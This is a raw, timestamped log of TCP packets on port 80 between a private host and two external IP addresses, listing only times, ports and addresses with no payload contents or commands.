Nov 18, 2024 19:04:32.662511110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662522078 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662534952 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662543058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662571907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662745953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662791967 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662817001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662864923 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662883997 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662894964 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662905931 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.662940025 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.662967920 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.664982080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.664993048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.665004015 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.665029049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.665074110 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701359987 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701410055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701464891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701478004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701478958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701498985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701509953 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701534986 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701546907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701571941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701584101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701608896 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701617956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701654911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701661110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701695919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701706886 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701730013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701745987 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701818943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701831102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701869011 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.701946974 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701980114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.701999903 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702014923 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702024937 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702063084 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702068090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702101946 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702119112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702136040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702148914 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702172995 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702183962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702220917 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702296972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702348948 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702495098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702531099 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702553034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702569008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702577114 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702605963 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702615023 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702641010 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.702656031 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.702689886 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.704094887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.723882914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.723918915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.723943949 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.723962069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.723969936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724004984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724020958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724040031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724055052 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724075079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724100113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724128008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724157095 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724172115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724214077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724262953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724270105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724297047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724309921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724333048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724348068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724529028 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724540949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724596024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724610090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724661112 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724780083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724813938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724848032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.724868059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.724889994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.777524948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.777558088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.777570009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.777647018 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.779941082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.779989958 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.780002117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.780050039 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.781263113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781275034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781286955 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781321049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781347036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781348944 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781383991 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781395912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781430006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781487942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781522036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781557083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781569958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781591892 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781605959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781694889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781698942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781728983 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781743050 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781764030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781783104 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781819105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781831980 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.781874895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.781958103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.781985998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.782042027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.783999920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.784053087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.784210920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.784272909 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820405006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820522070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820524931 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820576906 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820581913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820616961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820630074 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820653915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820666075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820691109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820699930 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820725918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820750952 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820782900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820785046 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820816994 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820831060 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820851088 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820863962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820887089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820894957 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820930004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.820940018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820975065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.820987940 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821008921 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821022034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821043968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821058035 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821079016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821091890 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821115971 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821125984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821160078 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821521044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821572065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821670055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821703911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821722984 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821739912 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821751118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821774960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821790934 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821811914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821824074 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821846008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821860075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821885109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821891069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.821914911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.821964025 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.822048903 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.822098970 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.822103024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.822137117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.822149992 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.822182894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877353907 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877374887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877387047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877398968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877412081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877422094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877427101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877438068 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877460003 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877460003 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877490997 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877545118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877557993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877569914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877583027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877605915 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877621889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877801895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877815008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877826929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.877861977 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.877985001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.878030062 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900198936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900254011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900288105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900320053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900320053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900330067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900346994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900379896 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900382996 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900435925 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900438070 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900466919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900481939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900501013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900537014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900537968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900584936 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900639057 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900681973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900721073 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900738955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900758982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900780916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900795937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900798082 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900831938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900861979 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900868893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.900882006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.900918007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.909172058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.909252882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.909290075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.909311056 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.911709070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.911833048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.911864042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.911897898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.911912918 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.911912918 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.939515114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939593077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939615965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939634085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939640999 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939671040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939692974 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939714909 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939730883 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939769030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939779043 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939824104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939825058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939858913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939876080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939898968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939910889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939933062 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939946890 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.939968109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.939977884 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940002918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940037012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940047979 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940071106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940080881 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940105915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940120935 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940148115 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940155029 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940200090 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940239906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940274000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940325022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940326929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940367937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940376997 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940402985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940419912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940435886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940458059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940474033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940474033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940505981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940519094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940550089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940936089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.940990925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.940990925 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.941026926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.941037893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.941076040 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.941097975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.941118002 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.941133022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.941140890 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.941163063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.941176891 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.954113960 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.956490040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.956548929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.960599899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.996339083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996387005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996398926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996408939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996419907 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996431112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996443033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996548891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996562004 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996575117 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.996632099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.996735096 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996751070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996777058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.996809959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996810913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.996823072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996835947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996848106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.996865034 CET	49983	80	192.168.2.5	185.215.113.16
